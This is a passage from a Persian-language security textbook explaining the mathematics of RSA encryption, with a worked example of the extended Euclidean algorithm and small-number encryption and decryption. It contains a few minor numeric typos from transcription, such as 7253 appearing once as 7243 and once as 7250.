ﺧﺼﻮﺻﯽ ﻧﮕﻬﺪاری ﻣﯽ ﮔﺮدد .رﻣﺰﮔﺸﺎﯾﯽ ﺗﻤﺎم ﭘﯿﺎم ﻫﺎﯾﯽ ﮐﻪ ﺑﺎ ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ رﻣﺰﻧﮕﺎری ﻣﯽ ﺷﻮﻧﺪ ،ﻓﻘﻂ ﺑﺎ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ
اﻧﺠﺎم ﻣﯽ ﺷﻮد .ﻟﺬا اﯾﻦ ﺧﺎﺻﯿﺖ ،ﻣﺸﮑﻞ ﺗﻮزﯾﻊ ﮐﻠﯿﺪ را ﻋﻤﻼ ﺑﺮﻃﺮف ﻣﯽ ﺳﺎزد -ﮐﻠﯿﺪﻫﺎی ﻋﻤﻮﻣﯽ ،ﻋﻤـﻮﻣﯽ ﻫـﺴﺘﻨﺪ و ﺑـﺎ
اﺳﺘﻔﺎده از ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ ﻣﯽ ﺗﻮان ﭘﯿﺎم را ﺑﺮای ﯾﮏ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧـﻪ ﻣﺘﻨـﺎﻇﺮ رﻣﺰﻧﮕـﺎری ﮐـﺮد .در اﯾـﻦ ﺻـﻮرت ﺑـﺮﺧﻼف
رﻣﺰﻫﺎی ﻣﺘﻘﺎرن ،ﺑﻪ ﻣﻨﻈﻮر اﻧﺘﻘﺎل ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ﻧﯿﺎزی ﺑﻪ ﮐﺎﻧﺎل ارﺗﺒﺎﻃﯽ ﺧﺎرج از ﺑﺎﻧﺪ) 99ﯾﻌﻨﯽ وﺟﻮد ﯾﮏ ﮐﺎﻧﺎل ﻣﺠـﺰا از
ﮐﺎﻧﺎل اﻧﺘﻘﺎل داده( ﻧﯿﺴﺖ .ﺑﻪ ﻫﺮ ﺣﺎل ،رﻣﺰﻫﺎی ﻧﺎﻣﺘﻘﺎرن اﻧﺪﮐﯽ ﻧﺴﺒﺖ ﺑﻪ رﻣﺰﻫﺎی ﻣﺘﻘﺎرن ﮐﻨﺪﺗﺮ ﻫﺴﺘﻨﺪ.
.4,4,1ﻃﺮح RSA
ﻃﺮح RSAﯾﮑﯽ از ﻣﺤﺒﻮب ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻫﺎی ﻧﺎﻣﺘﻘﺎرن اﺳﺖ .اﻣﻨﯿﺖ RSAواﺑﺴﺘﻪ ﺑﻪ ﻣﯿﺰان دﺷـﻮاری ﻓـﺎﮐﺘﻮرﮔﯿﺮی
ﺷﻤﺎره ﻫﺎی ﺑﺰرگ اﺳﺖ .اﺑﺘﺪا دو ﻋﺪد اول Pو Qاﻧﺘﺨﺎب ﻣﯽ ﺷﻮﻧﺪ و ﺣﺎﺻﻠﻀﺮب آﻧﻬﺎ در Nﻗﺮار داده ﻣﯽ ﺷﻮد:
N = P · Q
ﺳﭙﺲ ﺗﻌﺪاد ارﻗﺎمِ ﺑﯿﻦ 1و N-1ﮐﻪ ﻧﺴﺒﺖ ﺑﻪ Nاول ﻫﺴﺘﻨﺪ ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮﻧﺪ )دو ﺷﻤﺎره ﻧﺴﺒﺖ ﺑﻪ ﻫﻢ اول ﻫﺴﺘﻨﺪ اﮔﺮ
ﺑﺰرﮔﺘﺮﯾﻦ ﻣﻘﺴﻮم ﻋﻠﯿﻪ آﻧﻬﺎ 1ﺑﺎﺷﺪ( .اﯾﻦ ﺧﺎﺻﯿﺖ ،ﻫﻤﺎن ﺗﺎﺑﻊ ﺣﺴﺎﺑﯽ اوﯾﻠﺮ اﺳﺖ ﮐﻪ ﺑﺎ ﺣﺮف ﯾﻮﻧﺎﻧﯽ ﮐﻮﭼﮏ ﻓﯽ )(Phi
ﯾﺎ φﻧﺸﺎن داده ﻣﯽ ﺷﻮد.
ﺑﺮای ﻣﺜﺎل ،راﺑﻄﻪ φ(9) = 6ﺻﺤﯿﺢ اﺳﺖ ،ﭼﻮن اﻋﺪاد 7 ،5 ،4 ،2 ،1و 8ﻧﺴﺒﺖ ﺑﻪ 9اول ﻫﺴﺘﻨﺪ .ﯾﮑﯽ از ﺧـﻮاص ﺗـﺎﺑﻊ
اوﯾﻠﺮ اﯾﻦ اﺳﺖ ﮐﻪ اﮔﺮ Nاول ﺑﺎﺷﺪ ،ﺣﺘﻤﺎ ) φ(Nﺑﺮاﺑﺮ ﺑﺎ N-1اﺳﺖ .ﯾﮏ ﺧﺎﺻﯿﺖ ﺑﺪﯾﻬﯽ دﯾﮕﺮ اﯾـﻦ اﺳـﺖ ﮐـﻪ اﮔـﺮ N
ﺣﺎﺻﻠﻀﺮب دو ﻋﺪد ﺻﺤﯿﺢ Pو Qﺑﺎﺷﺪ ،آﻧﮕﺎه ﻋﺒﺎرت ) φ(P · Qﺑﺮاﺑﺮ ﺑﺎ ) (P − 1) · (Q − 1اﺳﺖ ،ﯾﻌﻨﯽ:
)φ(P · Q) = (P − 1) · (Q − 1
ﭼﻮن ﺑﺎﯾﺪ ﻣﻘﺪار ) φ(Nرا ﺑﺮای RSAﻣﺤﺎﺳﺒﻪ ﮐﺮد ،ﻟﺬا اﯾﻦ ﺧﺎﺻﯿﺖ ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد.
ﮐﻠﯿﺪ رﻣﺰﻧﮕﺎری ﯾﺎ ،Eﻧﺴﺒﺖ ﺑﻪ ) φ(Nاول اﺳﺖ و ﺑﺎﯾﺪ ﺑﻪ ﺻﻮرت ﺗﺼﺎدﻓﯽ اﻧﺘﺨﺎب ﺷﻮد .آﻧﮕﺎه ﮐﻠﯿﺪ رﻣﺰﮔﺸﺎﯾﯽ ﯾﺎ Dاز
ﻣﻌﺎدﻟﻪ زﯾﺮ ﺑﺪﺳﺖ ﻣﯽ آﯾﺪ ﮐﻪ در آن ،Sﯾﮏ ﻋﺪد ﺻﺤﯿﺢ دﻟﺨﻮاه اﺳﺖ:
E · D = S · φ(N) + 1
اﯾﻦ ﻣﻌﺎدﻟﻪ را ﻣﯿﺘﻮان ﺑﺎ اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس ﺣﻞ ﮐﺮد .اﻟﮕﻮرﯾﺘﻢ اﻗﻠﯿﺪس ،روﺷﯽ ﺑﺴﯿﺎر ﺳﺮﯾﻊ ﺟﻬـﺖ ﻣﺤﺎﺳـﺒﻪ
ﺑﺰرﮔﺘﺮﯾﻦ ﻣﻘﺴﻮم ﻋﻠﯿﻪ ﻣﺸﺘﺮک ) (100GCDﯾـﺎ ﻫﻤـﺎن ب.م.م دو ﻋـﺪد اﺳـﺖ .در اﯾـﻦ روش ،ﻋـﺪد ﺑﺰرﮔﺘـﺮ ﺑـﺮ ﻋـﺪد
ﮐﻮﭼﮑﺘﺮ ﺗﻘﺴﯿﻢ و ﺑﺎﻗﯿﻤﺎﻧﺪه آن ﯾﺎدداﺷﺖ ﻣﯽ ﺷﻮد .ﺳﭙﺲ ﻋﺪد ﮐﻮﭼﮑﺘﺮ ﺑﺮ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد و اﯾﻦ روﻧﺪ آﻧﻘـﺪر
98
Exponential
99
Out of Band
100
Greatest Common Divisor
153
ﺗﮑﺮار ﻣﯽ ﺷﻮد ﺗﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﺷﻮد .آﺧﺮﯾﻦ ﻣﻘﺪار ﻗﺒﻞ از ﺻﻔﺮ ﺑﺮای ﺑﺎﻗﯿﻤﺎﻧﺪه ،ﻫﻤـﺎن ب.م.م دو ﻋـﺪد اﺳـﺖ.
اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺎ زﻣﺎن اﺟﺮاﯾﯽ ﻣﻌﺎدل ﺑﺎ ) O(log10Nﮐﺎﻣﻼ ﺳﺮﯾﻊ اﺳﺖ ،ﺗﻌﺪاد ﻣﺮاﺣﻞ ﻣـﻮرد ﻧﯿـﺎز ﺟﻬـﺖ ﺧﺎﺗﻤـﻪ اﺟـﺮای
اﻟﮕﻮرﯾﺘﻢ ﺑﺮاﺑﺮ ﺑﺎ ﺗﻌﺪاد رﻗﻢ ﻫﺎی ﻣﻮﺟﻮد در ﻋﺪد ﺑﺰرﮔﺘﺮ ﺧﻮاﻫﺪ ﺑﻮد.
در ﺟﺪول زﯾﺮ ،ب.م.م دو ﻋﺪد 7253و 120ﻣﺤﺎﺳﺒﻪ ﺷﺪه اﺳﺖ )ﮐﻪ ﺑﻪ ﺻـﻮرت ) gcd(7253, 120ﻧﻤـﺎﯾﺶ داده ﻣـﯽ
ﺷﻮد( .ﭘﺮ ﮐﺮدن ﺟﺪول ﺑﺎ ﻗﺮار دادن اﻋﺪاد در ﺳﺘﻮن ﻫﺎی Aو ) Bﺷﻤﺎره ﺑﺰرﮔﺘﺮ در ﺳﺘﻮن Aﻗﺮار ﻣـﯽ ﮔﯿـﺮد( ﺷـﺮوع
ﻣﯽ ﺷﻮد .ﺳﭙﺲ Aﺑﺮ Bﺗﻘﺴﯿﻢ و ﺑﺎﻗﯿﻤﺎﻧﺪه در ﺳﺘﻮن Rﻗﺮار داده ﻣﯽ ﺷﻮد .در ﺧﻂ ﺑﻌﺪی B ،ﻗـﺪﯾﻢ )ﻣﻘـﺪار ﻗﺒﻠـﯽ ،(B
ﻣﻌﺎدل Aﺟﺪﯾﺪ )ﻣﻘﺪار ﻓﻌﻠﯽ (Aﻣﯽ ﺷﻮد و Rﻗﺪﯾﻢ ﺑﺮاﺑﺮ ﺑﺎ Bﺟﺪﯾﺪ ﻣﯽ ﺷﻮد .ﻣﺠﺪدا Rﺑﺮای اﯾـﻦ دو ﻣﻘـﺪار ﻣﺤﺎﺳـﺒﻪ
ﻣﯽ ﮔﺮدد و اﯾﻦ ﻓﺮآﯾﻨﺪ آﻧﻘﺪر ﺗﮑﺮار ﻣﯽ ﺷﻮد ﺗﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺻـﻔﺮ ﮔـﺮدد .آﺧـﺮﯾﻦ ﻣﻘـﺪار ﻗﺒـﻞ از ﺻـﻔﺮ ﺑـﺮای ،Rب.م.م
ﺧﻮاﻫﺪ ﺑﻮد.
ب.م.م .دو ﻋﺪد 7253و gcd(7253, 120) - 120
ﺑﺎﻗﯿﻤﺎﻧﺪه )(R ﻋﺪد ﮐﻮﭼﮑﺘﺮ )(B ﻋﺪد ﺑﺰرﮔﺘﺮ )(A
53 120 7253
14 53 120
11 14 53
3 11 14
2 3 11
1 2 3
) 0ﺻﻔﺮ( 1 2
ﺑﻨﺎﺑﺮاﯾﻦ ب.م.م دو ﻋﺪد 7243و ،120ﻋﺪد 1اﺳﺖ و ﻣﯽ ﺗﻮان ﻧﺘﯿﺠـﻪ ﮔﺮﻓـﺖ ﮐـﻪ 7250و 120ﻧـﺴﺒﺖ ﺑـﻪ ﻫـﻢ اول
ﻫﺴﺘﻨﺪ.
اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس ،ﻫﻨﮕﺎﻣﯽ ﮐﻪ ب.م.م Aو Bﺑﺮاﺑﺮ ﺑﺎ Rﺑﺎﺷﺪ ،دو ﻋﺪد Kو Jرا ﻃﻮری ﭘﯿـﺪا ﻣـﯽ ﮐﻨـﺪ ﮐـﻪ
راﺑﻄﻪ زﯾﺮ ﺑﺮﻗﺮار ﺑﺎﺷﺪ:
J · A + K · B = R
ﺑﺎ اﺳﺘﻔﺎده از ﻋﮑﺲِ اﻟﮕﻮرﯾﺘﻢ اﻗﻠﯿﺪس ﻣﯽ ﺗﻮان اﯾﻨﮑﺎر را اﻧﺠﺎم داد .اﻣﺎ در اﯾﻦ ﻣـﻮرد ﺧـﺎرج ﻗـﺴﻤﺖ ) (quotientﺣـﺎﺋﺰ
اﻫﻤﯿﺖ اﺳﺖ )و ﻧﻪ ﺑﺎﻗﯿﻤﺎﻧﺪه( .در اﯾﻨﺠﺎ رواﺑﻂ رﯾﺎﺿﯽ ﺑﺎ ﺧﺎرج ﻗﺴﻤﺖ ﻫﺎ را در ﻣﺜﺎل ﻗﺒﻠﯽ ﻣﯽ ﺑﯿﻨﯿﺪ:
7253 = 60 · 120 + 53
120 = 2 · 53 + 14
53 = 3 · 14 + 11
14 = 1 · 11 + 3
11 = 3 · 3 + 2
3 = 1 · 2 + 1
ﻃﺒﻖ ﻗﻮاﻋﺪ ﻋﻠﻢ ﺟﺒﺮ ﻣﯽ ﺗﻮان ﺟﻤﻼت را ﺣﻮل ﻣـﺴﺎوی ﺣﺮﮐـﺖ داد )اﯾـﻦ ﮐـﺎر ﺑـﺎ ﻋـﻮض ﺷـﺪن ﻋﻼﻣـﺖ ﻫﻤـﺮاه اﺳـﺖ(
ﺑﻄﻮرﯾﮑﻪ ﺗﻨﻬﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﺳﺖ( در ﺳﻤﺖ ﭼﭗ ﻣﺴﺎوی ﻗﺮار داﺷﺘﻪ ﺑﺎﺷﺪ.
53 = 7253 – 60 · 120
14 = 120 – 2 · 53
11 = 53 – 3 · 14
3 = 14 – 1 · 11
2 = 11 – 3 · 3
1 = 3 – 1 · 2
از آﺧﺮ ﺷﺮوع ﻣﯽ ﮐﻨﯿﻢ .ﻋﺒﺎرت زﯾﺮ ﺑﺪﯾﻬﯽ اﺳﺖ:
1 = 3 – 1 · 2
154
در ﺧﻂ ﺑﺎﻻﺗﺮ ﻋﺒﺎرت 2 = 11 − 3 · 3وﺟﻮد دارد ﮐﻪ در آن ﻋﻤﻞ ﺟﺎﻧﺸﯿﻨﯽ ) (substitutionﺑﺮای ﻋﺪد 2اﻧﺠـﺎم ﺷـﺪه
اﺳﺖ.
)1 = 3 – 1 · (11 – 3·3
1 = 4·3 – 1 · 11
ﺧﻂ ﻣﺎﻗﺒﻞ آن ﻧﯿﺰ ﻋﺒﺎرت 3 = 14 − 1 · 11اﺳﺖ ﮐﻪ ﯾﮏ ﺟﺎﻧﺸﯿﻨﯽ ﺑﺮای 3ﻣﯽ ﺑﺎﺷﺪ.
1 = 4 · (14 – 1 · 11) – 1 · 11
1 = 4 · 14 – 5 · 11
و ﻣﺠﺪدا ﺧﻂ ﻗﺒﻞ ﺗﺮ ﻧﯿﺰ ﻋﺒﺎرت 11 = 53 − 3 · 14را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ آن ﻧﯿﺰ ﺟﺎﻧﺸﯿﻨﯽ دﯾﮕﺮی را ﻧﺸﺎن ﻣﯽ دﻫﺪ.
)1 = 4 · 14 – 5 · (53 – 3 · 14
1 = 19 · 14 – 5 · 53
ﻃﺒﻖ ﻫﻤﯿﻦ اﻟﮕﻮ ﺧﻂ ﻗﺒﻞ از آن ﻧﯿﺰ 14 = 120 − 2 · 53اﺳﺖ ﮐﻪ ﺟﺎﻧﺸﯿﻨﯽ دﯾﮕﺮی را ﻧﺘﯿﺠﻪ ﻣﯽ دﻫﺪ.
1 = 19 · (120 – 2 · 53) – 5 · 53
1 = 19 · 120 – 43 · 53
و ﻧﻬﺎﯾﺘﺎ اوﻟﯿﻦ ﺧﻂ ﻋﺒﺎرت 53 = 7253 – 60 · 120اﺳﺖ ﮐﻪ ﺟﺎﻧﺸﯿﻨﯽ آﺧﺮ در اﯾﻨﺠﺎ اﺳﺖ.
)1 = 19 · 120 – 43 · (7253 – 60 · 120
1 = 2599 · 120 – 43 · 7253
2599 · 120 +– 43 · 7253 = 1
از روال ﻓﻮق واﺿﺢ اﺳﺖ ﮐﻪ Jو Kﺑﺎﯾﺪ ﺑﺘﺮﺗﯿﺐ 2599و −43ﺑﺎﺷﻨﺪ.
اﻋﺪاد ﻣﺜﺎل ﻗﺒﻞ ﺑﺮای ارﺗﺒﺎﻃﺸﺎن ﺑﺎ RSAاﻧﺘﺨﺎب ﺷﺪﻧﺪ .اﮐﻨﻮن ﻓﺮض ﮐﻨﯿﺪ ﮐـﻪ ﻣﻘـﺎدﯾﺮ Pو Qﺑـﻪ ﺗﺮﺗﯿـﺐ 11و 13و
ﻣﻘﺪار Nﻧﯿﺰ 143اﺳﺖ .ﺑﻨﺎﺑﺮاﯾﻦ ﻋﺒﺎرت ) φ(N) = 120 = (11−1) · (13−1ﺑﺮﻗﺮار اﺳﺖ )ﺑﺎ ﺗﻮﺟﻪ ﺑﻪ اﯾﻨﮑﻪ دو ﻋﺪد
11و 13ﻧﺴﺒﺖ ﺑﻪ ﻫﻢ اول ﻫﺴﺘﻨﺪ( .ﺑﻪ دﻟﯿﻞ اﯾﻨﮑﻪ 7253ﻧﺴﺒﺖ ﺑﻪ 120اول ﻣﯽ ﺑﺎﺷﺪ ،ﻟﺬا ﻋﺪد ﻣﻨﺎﺳـﺒﯽ ﺑـﺮای Eﻣـﯽ
ﺑﺎﺷﺪ .اﮔﺮ ﺑﯿﺎد ﻣﯽ آورﯾﺪ ،ﻫﺪف ﯾﺎﻓﺘﻦ ﻣﻘﺪاری ﺑﺮای Dﺑﻮد ﺑﻄﻮرﯾﮑﻪ در ﻣﻌﺎدﻟﻪ زﯾﺮ ﺻﺪق ﮐﻨﺪ:
E · D = S · φ(N) + 1
ﺑﺎ ﺟﺎﺑﺠﺎﯾﯽ ﺟﻤﻼت در ﻃﺮﻓﯿﻦ ﻣﺴﺎوی ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ ﺣﺎﻟﺖ ﻣﻠﻤﻮس ﺗﺮی ﺗﺒﺪﯾﻞ ﮐﺮد:
D · E + S · φ(N) = 1
D · 7,253 ± S · 120 = 1
ﺑﺎ اﺳﺘﻔﺎده از ﻣﻘﺎدﯾﺮ اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس واﺿﺢ اﺳﺖ ﮐﻪ .D = −43اﻣﺎ ﻣﻘﺪار Sﻋﻤﻼ ﺣﺎﺋﺰ اﻫﻤﯿـﺖ ﻧﯿـﺴﺖ و
ﻓﻘﻂ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ اﯾﻦ ﻋﻤﻠﯿﺎت رﯾﺎﺿﯽ در ﭘﯿﻤﺎﻧﻪ ) φ(Nﯾﺎ 120اﻧﺠﺎم ﮔﺮﻓﺘﻪ اﻧـﺪ .اﮐﻨـﻮن ﻃﺒـﻖ ﺧـﻮاص ﻫﻤﻨﻬـﺸﺘﯽ
) (120 – 43 = 77ﻣﻘﺪار ﻣﺜﺒﺖ ﻣﻌﺎدل ﺑﺮای Dﺑﺮاﺑﺮ ﺑﺎ 77ﺧﻮاﻫﺪ ﺑﻮد .اﮐﻨﻮن ﻣﯽ ﺗﻮان در ﻣﻌﺎدﻟﻪ ﺑﺎﻻ ﺑﻪ ﺟﺎی Dﻋـﺪد
77را ﺟﺎﯾﮕﺬاری ﮐﺮد.
E · D = S · φ(N) + 1
7253 · 77 = 4654 · 120 + 1
ﻣﻘﺎدﯾﺮ Nو Eﺑﻪ ﻋﻨﻮان ﮐﻠﯿﺪ ﻋﻤﻮﻣﯽ ﺗﻮزﯾﻊ ﻣﯽ ﺷﻮﻧﺪ ،درﺣﺎﻟﯿﮑﻪ ﻣﻘﺪار Dﺑﻪ ﻋﻨﻮان ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ﻧﮕﻬﺪاری ﻣـﯽ ﺷـﻮد.
ﻣﻘﺎدﯾﺮ Pو Qﻧﯿﺰ دوراﻧﺪاﺧﺘﻪ ﺷﺪه اﻧﺪ .ﺑﺮ ﻫﻤﯿﻦ اﺳﺎس ﻋﻤﻠﯿﺎت رﻣﺰﻧﮕﺎری و رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﯿﺎر ﺳﺎده اﻧﺪ:
رﻣﺰﻧﮕﺎری:
E
)C = M (modN
رﻣﺰﮔﺸﺎﯾﯽ:
D
)M = C (modN
ﺑﺮای ﻣﺜﺎل اﮔﺮ ﭘﯿﺎم ﯾﺎ Mﺑﺮاﺑﺮ ﺑﺎ 98ﺑﺎﺷﺪ ،رﻣﺰﻧﮕﺎری ﺑﻪ ﺻﻮرت زﯾﺮ اﻧﺠﺎم ﻣﯽ ﺷﻮد:
7253
98 )= 76 (mod 143
ﻣﺘﻦ رﻣﺰی ﻣﯿﺘﻮاﻧﺪ 76ﺑﺎﺷﺪ .آﻧﮕﺎه ﺗﻨﻬﺎ ﺷﺨﺼﯽ ﮐﻪ ﻣﻘﺪار Dرا ﺑﺪاﻧﺪ ﻣﯽ ﺗﻮاﻧﺪ ﭘﯿـﺎم را رﻣﺰﮔـﺸﺎﯾﯽ ﮐـﺮده و ﻣﻘـﺪار 98
)ﻣﺘﻦ واﺿﺢ( را از ) 76ﻣﺘﻦ رﻣﺰی( ﺑﺎزﯾﺎﺑﯽ ﮐﻨﺪ ،ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ:
77
76 )= 98 (mod 143
ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ اﮔﺮ Mﺑﺰرﮔﺘﺮ از Nﺑﺎﺷﺪ ،ﺑﺎﯾﺪ ﺑﻪ ﻗﻄﻌﺎت داده ای ﮐﻮﭼﮑﺘﺮ از Nﺗﻘﺴﯿﻢ ﺷﻮد.
155
اﯾﻦ ﻓﺮآﯾﻨﺪ ﺑﺎ اﺳﺘﻔﺎده از ﻗﻀﯿﻪ اوﯾﻠﺮ اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ .اﯾﻦ ﻗﻀﯿﻪ ﺑﯿﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﮔﺮ Mو Nﻧﺴﺒﺖ ﺑﻪ ﻫﻢ اول ﺑﺎﺷـﻨﺪ
و Mﮐﻮﭼﮑﺘﺮ از Nﺑﺎﺷﺪ ،آﻧﮕﺎه ﻫﻨﮕﺎﻣﯽ ﮐﻪ Mﺑﻪ ﺗﻌﺪاد ) φ(Nﺑﺎر در ﺧﻮدش ﺿﺮب ﺷﻮد و ﺳﭙﺲ ﺗﻘﺴﯿﻢ ﺑﺮ Nﺷـﻮد،
ﺑﺎﻗﯿﻤﺎﻧﺪه ﻫﻤﯿﺸﻪ ﺑﺮاﺑﺮ ﺑﺎ 1ﺧﻮاﻫﺪ ﺑﻮد.
اﮔﺮ gcd(M, N) = 1و ،M < Nآﻧﮕﺎه ) .Mφ(N) = 1(modNﭼﻮن ﻣﺤﺎﺳﺒﺎت در ﭘﯿﻤﺎﻧﻪ Nاﻧﺠـﺎم ﻣـﯽ ﺷـﻮﻧﺪ ،ﻟـﺬا ﺑـﺮ
ﻃﺒﻖ ﻗﺎﻋﺪه ای ﮐﻪ ﻋﻤﻞ ﺿﺮب در ﺣﺴﺎب ﭘﯿﻤﺎﻧﻪ ای ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ ﻣﻌﺎدﻻت زﯾﺮ ﻧﯿﺰ درﺳﺖ اﺳﺖ:
)Mφ(N) · Mφ(N) = 1 · 1(modN
)M2·φ(N) = 1(modN
اﯾﻦ روﻧﺪ Sﺑﺎر ﺗﮑﺮار و ﻧﻬﺎﯾﺘﺎ ﻋﺒﺎرت زﯾﺮ ﺣﺎﺻﻞ ﻣﯽ ﮔﺮدد:
)S·φ(N
M )= 1(modN
اﮔﺮ ﻫﺮ دو ﻃﺮف در Mﺿﺮب ﺷﻮﻧﺪ ﻧﺘﯿﺠﻪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد:
)MS·φ(N) · M = 1 · M(modN
)MS·φ(N)+1 = M(modN
اﯾﻦ ﻣﻌﺎدﻟﻪ ﻫﺴﺘﻪ ﻣﺮﮐﺰی RSAاﺳﺖ .ﯾﮏ ﺷﻤﺎره )ﻣﺜﻼ (Mﮐﻪ در ﭘﯿﻤﺎﻧﻪ Nﺑﻪ ﯾـﮏ ﺗـﻮان دﻟﺨـﻮاه ﻣـﯽ رﺳـﺪ ،ﻣﺠـﺪدا
ﺷﻤﺎره اوﻟﯿﻪ ) (Mرا ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ .در ﺣﻘﯿﻘﺖ ﺗﺎﺑﻌﯽ اﺳﺖ ﮐﻪ ورودی ﺧﻮد را ﺑﺮ ﻣـﯽ ﮔﺮداﻧـﺪ .اﻣـﺎ اﮔـﺮ اﯾـﻦ ﻣﻌﺎدﻟـﻪ را
ﺑﺘﻮان ﺑﻪ دو ﻗﺴﻤﺖ ﻣﺠـﺰا ﺗﺒـﺪﯾﻞ ﮐـﺮد ،آﻧﮕـﺎه ﻣـﯽ ﺗـﻮان ﯾـﮏ ﻗـﺴﻤﺖ را ﺑـﺮای رﻣﺰﻧﮕـﺎری و ﻗـﺴﻤﺖ دﯾﮕـﺮ را ﺑـﺮای
رﻣﺰﮔﺸﺎﯾﯽ و ﺗﻮﻟﯿﺪ ﻣﺠﺪد ﭘﯿﺎم اﺻﻠﯽ اﺳﺘﻔﺎده ﮐﺮد .ﺑﺎ ﯾﺎﻓﺘﻦ و ﺿﺮب ﮐﺮدن دو ﻋﺪد Eو Dو ﻣﺴﺎوی ﻗﺮار دادن آن ﺑﺎ S
ﺿﺮﺑﺪر ) φ(Nﺑﻌﻼوه 1ﻣﯽ ﺗﻮان اﯾﻦ ﮐﺎر را اﻧﺠﺎم داد .ﺳﭙﺲ اﯾﻦ ﻣﻘﺪار را ﻣﯽ ﺗﻮان در ﻣﻌﺎدﻟـﻪ ﻗﺒﻠـﯽ ﺟﺎﯾﮕـﺬاری ﮐـﺮد.
ﺑﻨﺎﺑﺮاﯾﻦ ﺧﻮاﻫﯿﻢ داﺷﺖ:
E · D = S · φ(N)+1
)ME · D = M(modN
ﮐﻪ ﺑﺮاﺑﺮ ﺑﺎ ﻋﺒﺎرت ) MED = M(modNﻫﺴﺘﻨﺪ ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ دو ﻗﺴﻤﺖ ﺗﻘﺴﯿﻢ ﮐﺮد:
)ME = C(modN
)CD = M(modN
اﯾﻦ اﺳﺎس ﻋﻤﻠﮑﺮد RSAاﺳﺖ .اﻣﻨﯿﺖ اﻟﮕﻮرﯾﺘﻢ ،ﺳﻌﯽ ﺑﺮ ﻣﺤﺮﻣﺎﻧﻪ ﻧﮕﻬﺪاﺷﺘﻦ Dاﺳﺖ .اﻣﺎ ﭼﻮن Nو Eﻫﺮ دو ﻣﻘﺎدﯾﺮ
ﻋﻤﻮﻣﯽ ﻫﺴﺘﻨﺪ ،اﮔﺮ Nرا ﺑﺘﻮان ﺑﻪ ﻋﺎﻣﻞ ﻫﺎی اوﻟﯿﻪ Pو Qﺗﺒـﺪﯾﻞ ﮐـﺮد ،آﻧﮕـﺎه ﻣـﯽ ﺗـﻮان ) φ(Nرا ﺑـﺴﺎدﮔﯽ ﺑـﺎ (P −
) 1) · (Q − 1ﻣﺤﺎﺳﺒﻪ ﮐﺮد و Dرا ﺑﺎ اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس ﺗﻌﯿﯿﻦ ﻧﻤـﻮد .ﺑﻨـﺎﺑﺮاﯾﻦ اﻧـﺪازه ﮐﻠﯿـﺪ ﺑـﺮای ،RSA
ﺑﺎﯾﺪ ﺑﺎ ﻧﻈﺮ ﺑﻪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻋﺎﻣﻞ ﯾﺎﺑﯽ اﻧﺘﺨﺎب ﺷﻮد ﺗﺎ اﻣﻨﯿﺖ ﻣﺤﺎﺳـﺒﺎﺗﯽ ﺑﺮﻗـﺮار ﺷـﻮد .در ﺣـﺎل ﺣﺎﺿـﺮ
ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻋﺎﻣﻞ ﯾﺎﺑﯽ ﺑﺮای اﻋﺪاد ﺑﺰرگ ،ﻏﺮﺑﺎل ﻣﯿﺪان ﻋـﺪد ) 101(NFSاﺳـﺖ .اﯾـﻦ اﻟﮕـﻮرﯾﺘﻢ ﯾـﮏ
زﻣﺎن اﺟﺮای زﯾﺮ-ﺗﻌﺮﯾﻔﯽ ) (sub-exponentialدارد ﮐﻪ ﻧﺴﺒﺘﺎ ﺧﻮب اﺳﺖ ،اﻣﺎ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﺟﻬﺖ ﮐﺮک ﮐـﺮدن ﯾـﮏ
ﮐﻠﯿﺪ 2,048ﺑﯿﺘﯽ ،RSAدر ﯾﮏ ﺑﺎزه زﻣﺎﻧﯽ ﻣﻌﻘﻮل ﺑﺰرگ ﻧﯿﺴﺖ.
